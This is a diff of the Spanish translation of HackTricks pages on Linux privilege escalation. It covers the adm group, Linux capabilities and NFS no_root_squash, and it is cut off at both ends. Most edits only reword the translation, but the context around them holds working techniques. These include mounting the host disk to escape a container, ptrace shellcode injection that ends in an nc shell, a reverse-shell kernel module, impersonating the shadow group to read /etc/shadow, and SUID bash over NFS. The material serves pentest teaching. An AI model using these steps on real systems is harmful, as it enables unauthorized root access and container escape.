podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** u **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios... **Verifica qué archivos pueden modificar los miembros de root**: ```bash @@ -218,7 +218,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Grupo Adm Por lo general, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\ -Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **echar un vistazo a los registros**. +Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **mirar los registros**. ## Grupo Auth diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 7793106e7..2f7b30f5a 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -20,7 +20,7 @@ También puedes consultar la siguiente página para aprender **otras formas de e ### FreeIPA -FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multifactor** que incluye tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: +FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en: {{#ref}} ../freeipa-pentesting.md diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2e58bd3df..e132798b4 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,13 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} + ## Capacidades de Linux Las capacidades de Linux dividen **los privilegios de root en unidades más pequeñas y distintas**, permitiendo que los procesos tengan un subconjunto de privilegios. Esto minimiza los riesgos al no otorgar privilegios de root completos innecesariamente. ### El Problema: -- Los usuarios normales tienen permisos limitados, afectando tareas como abrir un socket de red que requiere acceso de root. +- Los usuarios normales tienen permisos limitados, lo que afecta tareas como abrir un socket de red que requiere acceso de root. ### Conjuntos de Capacidades: @@ -21,8 +22,8 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ 2. **Efectivas (CapEff)**: - **Propósito**: Representa las capacidades reales que un proceso está utilizando en cualquier momento. -- **Funcionalidad**: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas. -- **Significado**: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar. +- **Funcionalidad**: Es el conjunto de capacidades que verifica el kernel para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas. +- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatos, actuando como el conjunto activo de capacidades que un proceso puede usar. 3. **Permitidas (CapPrm)**: @@ -37,7 +38,7 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ - **Caso de uso**: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa extra de seguridad. 5. **Ambientales (CapAmb)**: -- **Propósito**: Permite que ciertas capacidades se mantengan a través de una llamada al sistema `execve`, que típicamente resultaría en un reinicio completo de las capacidades del proceso. +- **Propósito**: Permite que ciertas capacidades se mantengan a través de una llamada al sistema `execve`, que normalmente resultaría en un reinicio completo de las capacidades del proceso. - **Funcionalidad**: Asegura que los programas no SUID que no tienen capacidades de archivo asociadas puedan retener ciertos privilegios. - **Restricciones**: Las capacidades en este conjunto están sujetas a las limitaciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso. ```python @@ -100,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso. +Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente utiliza la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso. ```bash getpcaps 1234 ``` @@ -154,7 +155,7 @@ Puedes eliminar las capacidades de un binario con ```bash setcap -r ``` -## Capacidades de Usuario +## User Capabilities Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\ Basado en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\ @@ -270,7 +271,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` -Dentro del **bash ejecutado por el binario ambiental compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual"). +Dentro del **bash ejecutado por el binario de ambiente compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip @@ -321,7 +322,7 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` -El `+ep` significa que estás agregando la capacidad (“-” la eliminaría) como Efectiva y Permitida. +El `+ep` significa que estás añadiendo la capacidad (“-” la eliminaría) como Efectiva y Permitida. Para identificar programas en un sistema o carpeta con capacidades: ```bash @@ -345,7 +346,7 @@ getcap /usr/sbin/tcpdump ``` ### El caso especial de capacidades "vacías" -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacías a un archivo de programa, y por lo tanto es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que: +[De la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que: 1. no es propiedad de root 2. no tiene bits `SUID`/`SGID` establecidos @@ -417,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk - **Acceso completo** En el método anterior logramos acceder al disco del host de docker.\ -En caso de que encuentres que el host está ejecutando un **ssh** servidor, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH: +En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -433,7 +434,7 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando dentro del host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**. +**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando en el host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**. **[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga la capacidad de utilizar funcionalidades de depuración y seguimiento de llamadas al sistema proporcionadas por `ptrace(2)` y llamadas de adjunto de memoria cruzada como `process_vm_readv(2)` y `process_vm_writev(2)`. Aunque es poderoso para fines de diagnóstico y monitoreo, si `CAP_SYS_PTRACE` está habilitado sin medidas restrictivas como un filtro seccomp en `ptrace(2)`, puede socavar significativamente la seguridad del sistema. Específicamente, puede ser explotado para eludir otras restricciones de seguridad, notablemente las impuestas por seccomp, como se demuestra en [pruebas de concepto (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53). @@ -559,7 +560,7 @@ chunks += f"{byte:02x}" print(f"set {{long}}($rip+{i}) = {chunks}") ``` -Depure un proceso root con gdb y copie y pegue las líneas de gdb generadas previamente: +Depurar un proceso root con gdb y copiar-pegar las líneas de gdb generadas previamente: ```bash # Let's write the commands to a file echo 'set {long}($rip+0) = 0x296a909090909090 @@ -611,17 +612,17 @@ uid=0(root) gid=0(root) groups=0(root ``` -List **procesos** en el **host** `ps -eaf` +List **processes** running in the **host** `ps -eaf` -1. Obtener la **arquitectura** `uname -m` -2. Encontrar un **shellcode** para la arquitectura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Encontrar un **programa** para **inyectar** el **shellcode** en la memoria de un proceso ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modificar** el **shellcode** dentro del programa y **compilarlo** `gcc inject.c -o inject` -5. **Inyectar** y obtener tu **shell**: `./inject 299; nc 172.17.0.1 5600` +1. Get the **architecture** `uname -m` +2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` +5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores. +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos de seguridad críticos, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores. **Esto significa que puedes** **insertar/quitar módulos del kernel en/el kernel de la máquina host.** **Ejemplo con binario** @@ -641,7 +642,7 @@ Luego **compila el módulo del kernel que puedes encontrar 2 ejemplos a continua ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` -Finalmente, ejecuta el código de python necesario para cargar este módulo del kernel: +Finalmente, ejecuta el código python necesario para cargar este módulo del kernel: ```python import kmod km = kmod.Kmod() @@ -712,8 +713,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean > El carácter en blanco antes de cada palabra make en el Makefile **debe ser una tabulación, no espacios**! Ejecuta `make` para compilarlo. -``` -ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. +```bash +Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade @@ -732,7 +733,7 @@ Otro ejemplo de esta técnica se puede encontrar en [https://www.cyberark.com/re ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inode que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inodo que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). **Esto significa que puedes** **eludir las verificaciones de permisos de lectura de archivos y las verificaciones de permisos de lectura/ejecución de directorios.** **Ejemplo con binario** @@ -776,7 +777,7 @@ Dentro de la salida anterior, puedes ver que la capacidad **DAC_READ_SEARCH** es Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP_DAC_READ_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open_by_handle_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**. -El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.** +El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), lo siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.** ```c #include #include @@ -1177,13 +1178,13 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` -Una vez que hayas encontrado un archivo que puedes abusar (a través de lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con: +Una vez que hayas encontrado un archivo que puedes abusar (mediante lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con: ```python import os os.setgid(42) os.system("/bin/bash") ``` -En este caso, se hizo una suplantación del grupo shadow para que puedas leer el archivo `/etc/shadow`: +En este caso, se impersonó al grupo shadow para que puedas leer el archivo `/etc/shadow`: ```bash cat /etc/shadow ``` @@ -1225,7 +1226,7 @@ python setcapability.py /usr/bin/python2.7 > [!WARNING] > Tenga en cuenta que si establece una nueva capacidad en el binario con CAP_SETFCAP, perderá esta capacidad. -Una vez que tenga [SETUID capability](linux-capabilities.md#cap_setuid) puede ir a su sección para ver cómo escalar privilegios. +Una vez que tenga la [capacidad SETUID](linux-capabilities.md#cap_setuid) puede ir a su sección para ver cómo escalar privilegios. **Ejemplo con entorno (Docker breakout)** @@ -1255,8 +1256,8 @@ bash: /usr/bin/gdb: Operation not permitted [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\ Parece que las capacidades Permitidas limitan las que se pueden usar.\ Sin embargo, Docker también otorga la **CAP_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\ -Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **agregar cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\ -Parece que solo podemos agregar al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**. +Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **añadir cualquier capacidad del conjunto de límites del hilo que llama** a su conjunto heredable_.\ +Parece que solo podemos añadir al conjunto heredable capacidades del conjunto de límites. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**. ## CAP_SYS_RAWIO @@ -1270,7 +1271,7 @@ Esto puede ser útil para **escalada de privilegios** y **escape de Docker.** **Ejemplo con binario** -Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías ponerle un backdoor, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu backdoor. +Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías crear una puerta trasera, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera. ```python #Use this python code to kill arbitrary processes import os @@ -1289,14 +1290,13 @@ kill -s SIGUSR1 electron-cef-chromium-debugger-abuse.md {{#endref}} - ## CAP_NET_BIND_SERVICE **Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados).** No puedes escalar privilegios directamente con esta capacidad. **Ejemplo con binario** -Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos con privilegios específicos) +Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos privilegiados específicos) {{#tabs}} {{#tab name="Listen"}} @@ -1324,7 +1324,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacidad permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW. +La capacidad [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW. **Esto significa que es posible espiar el tráfico.** No puedes escalar privilegios directamente con esta capacidad. @@ -1430,7 +1430,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f) f=open("/path/to/file.sh",'a+') f.write('New content for the file\n') ``` -> [!NOTE] +> [!TIP] > Tenga en cuenta que generalmente este atributo inmutable se establece y se elimina usando: > > ```bash @@ -1440,14 +1440,14 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) habilita la ejecución de la llamada al sistema `chroot(2)`, lo que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) habilita la ejecución de la llamada al sistema `chroot(2)`, que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas: - [Cómo escapar de varias soluciones chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) - [chw00t: herramienta de escape chroot](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluidos comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, desde Linux 3.17 en adelante, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluyendo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, desde Linux 3.17 en adelante, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente. ## CAP_SYSLOG @@ -1462,7 +1462,7 @@ Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_res - **S_IFCHR**: Archivos especiales de caracteres, que son dispositivos como terminales. - **S_IFBLK**: Archivos especiales de bloques, que son dispositivos como discos. -Esta capacidad es esencial para los procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques. +Esta capacidad es esencial para procesos que requieren la capacidad de crear archivos de dispositivo, facilitando la interacción directa con el hardware a través de dispositivos de caracteres o bloques. Es una capacidad predeterminada de docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). @@ -1505,15 +1505,15 @@ Este enfoque permite al usuario estándar acceder y potencialmente leer datos de **CAP_SETPCAP** permite a un proceso **alterar los conjuntos de capacidades** de otro proceso, permitiendo la adición o eliminación de capacidades de los conjuntos efectivos, heredables y permitidos. Sin embargo, un proceso solo puede modificar las capacidades que posee en su propio conjunto permitido, asegurando que no puede elevar los privilegios de otro proceso más allá de los suyos. Las actualizaciones recientes del kernel han endurecido estas reglas, restringiendo `CAP_SETPCAP` a solo disminuir las capacidades dentro de su propio conjunto permitido o el de sus descendientes, con el objetivo de mitigar riesgos de seguridad. Su uso requiere tener `CAP_SETPCAP` en el conjunto efectivo y las capacidades objetivo en el conjunto permitido, utilizando `capset()` para modificaciones. Esto resume la función principal y las limitaciones de `CAP_SETPCAP`, destacando su papel en la gestión de privilegios y la mejora de la seguridad. -**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede usar esta capacidad. +**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Otorga la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivos, heredables y permitidos de otros procesos. Sin embargo, hay ciertas restricciones sobre cómo se puede utilizar esta capacidad. -Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitidas**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio. +Un proceso con `CAP_SETPCAP` **solo puede otorgar o eliminar capacidades que están en su propio conjunto de capacidades permitido**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad por sí mismo. Esta restricción impide que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio. -Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitidas o en el conjunto de capacidades permitidas de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad. +Además, en versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **further restricted**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitido o en el conjunto de capacidades permitido de sus descendientes**. Este cambio se introdujo para reducir los riesgos de seguridad potenciales asociados con la capacidad. -Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitidas. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos. +Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitido. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos. -En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitidas o en los conjuntos de capacidades permitidas de sus descendientes. +En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o en los conjuntos de capacidades permitidos de sus descendientes. ## Referencias diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 7f30acefd..a8269b515 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,24 +1,26 @@ +# NFS No Root Squash Misconfiguration Privilege Escalation + {{#include ../../banners/hacktricks-training.md}} -# Información Básica sobre Squashing +## Squashing Basic Info -NFS generalmente (especialmente en Linux) confía en el `uid` y `gid` indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**: +NFS generalmente (especialmente en linux) confía en el `uid` y `gid` indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para **cambiar este comportamiento**: - **`all_squash`**: Aplana todos los accesos mapeando a cada usuario y grupo a **`nobody`** (65534 sin signo / -2 con signo). Por lo tanto, todos son `nobody` y no se utilizan usuarios. - **`root_squash`/`no_all_squash`**: Este es el valor predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root). -- **`no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root. +- **``no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root. En el archivo **/etc/exports**, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina. -Para más información sobre **NFS**, consulta: +Para más información sobre **NFS** consulta: {{#ref}} ../../network-services-pentesting/nfs-service-pentesting.md {{#endref}} -# Escalación de Privilegios +## Privilege Escalation -## Explotación Remota +### Remote Exploit Opción 1 usando bash: - **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash. @@ -52,19 +54,19 @@ chmod +s payload cd ./payload #ROOT shell ``` -## Local Exploit +### Local Exploit -> [!NOTE] -> Tenga en cuenta que si puede crear un **túnel desde su máquina a la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\ -> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso **no podrá usar** en ningún caso la **explotación remota** 